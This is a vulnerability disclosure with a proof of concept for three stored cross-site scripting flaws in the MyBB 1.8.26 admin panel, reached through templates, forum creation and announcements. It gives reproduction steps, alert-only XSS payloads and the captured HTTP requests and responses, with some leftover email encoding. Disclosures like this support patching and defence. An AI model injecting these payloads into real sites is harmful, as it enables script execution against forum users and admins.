myBB forums 1.8.26 – Stored Cross-Site Scripting (XSS)
# Exploit Title: myBB forums 1.8.26 - Stored Cross-Site Scripting (XSS) # Exploit Author: Andrey Stoykov # Software Link: https://mybb.com/versions/1.8.26/ # Version: 1.8.26 # Tested on: Ubuntu 20.04 Stored XSS #1: To reproduce do the following: 1. Login as administrator user 2. Browse to "Templates and Style" -> "Templates" -> "Manage Templates" -> = "Global Templates"=20 3. Select "Add New Template" and enter payload "><img src=3Dx onerror=3Dale= rt(1)> // HTTP POST request showing XSS payload POST /mybb_1826/admin/index.php?module=3Dstyle-templates&action=3Dedit_temp= late HTTP/1.1 Host: 192.168.139.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100= 101 Firefox/106.0 [...] my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr= or=3Dalert(1)>&sid=3D-1&template=3D&continue=3DSave+and+Continue+Editing // HTTP redirect response to specific template HTTP/1.1 302 Found Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P= erl/v5.16.3 Location: index.php?module=3Dstyle-templates&action=3Dedit_template&title= =3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&sid=3D-1 [...] // HTTP GET request to newly created template GET /mybb_1826/admin/index.php?module=3Dstyle-templates&sid=3D-1 HTTP/1.1 Host: 192.168.139.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100= 101 Firefox/106.0 [...] // HTTP response showing unsanitized XSS payload HTTP/1.1 200 OK Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P= erl/v5.16.3 X-Powered-By: PHP/5.6.40 [...] <tr class=3D"first"> <td class=3D"first"><a href=3D"index.php?module=3Dstyle-templates&actio= n=3Dedit_template&title=3D%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3= E&sid=3D-1">"><img src=3Dx onerror=3Dalert(1)></a></td> [...] Stored XSS #2: To reproduce do the following: 1. Login as administrator user 2. Browse to "Forums and Posts" -> "Forum Management" 3. Select "Add New Forum" and enter payload "><script>alert(1)</script> // HTTP POST request showing XSS payload POST /mybb_1826/admin/index.php?module=3Dforum-management&action=3Dadd HTTP= /1.1 Host: 192.168.139.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100= 101 Firefox/106.0 [...] my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&type=3Df&title=3D"><script>a= lert(1)</script>&description=3D"><script>alert(2)</script[...] // HTTP response showing successfully added a new forum HTTP/1.1 200 OK Date: Sun, 20 Nov 2022 11:00:28 GMT Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P= erl/v5.16.3 [...] // HTTP GET request to fetch forums GET /mybb_1826/admin/index.php?module=3Dforum-management HTTP/1.1 Host: 192.168.139.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100= 101 Firefox/106.0 [...] // HTTP response showing unsanitized XSS payload HTTP/1.1 200 OK Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P= erl/v5.16.3 [...] <small>Sub Forums: <a href=3D"index.php?module=3Dforum-management&fid= =3D3">"><script>alert(1)</script></a></small> Stored XSS #3: To reproduce do the following: 1. Login as administrator user 2. Browse to "Forums and Posts" -> "Forum Announcements" 3. Select "Add Announcement" and enter payload "><img+src=3Dx+onerror=3Dale= rt(1)> // HTTP POST request showing XSS payload POST /mybb_1826/admin/index.php?module=3Dforum-announcements&action=3Dadd H= TTP/1.1 Host: 192.168.139.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100= 101 Firefox/106.0 [...] my_post_key=3D60dcf2a0bf3090dbd2c33cd18733dc4c&title=3D"><img+src=3Dx+onerr= or=3Dalert(1)>&starttime_day=3D20&starttime_month=3D11&starttime_year=3D202= 2&starttime_time=3D11:05+AM&endtime_day=3D20&endtime_month=3D11&endtime_yea= r=3D2023&endtime_time=3D11:05+AM&endtime_type=3D2&message=3D"><script>alert= (2)</script>&fid=3D2&allowmycode=3D1&allowsmilies=3D1 // HTTP response showing successfully added an anouncement HTTP/1.1 302 Found Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P= erl/v5.16.3 [...] // HTTP GET request to fetch forum URL GET /mybb_1826/ HTTP/1.1 Host: 192.168.139.132 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100= 101 Firefox/106.0 [...] // HTTP response showing unsanitized XSS payload HTTP/1.1 200 OK Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev P= erl/v5.16.3 [...] <a href=3D"forumdisplay.php?fid=3D3" title=3D"">"><script>alert(1)</script>= </a> --sgnirk-590ebdc0-1da1-4f35-a731-39a2519b1c0d-- |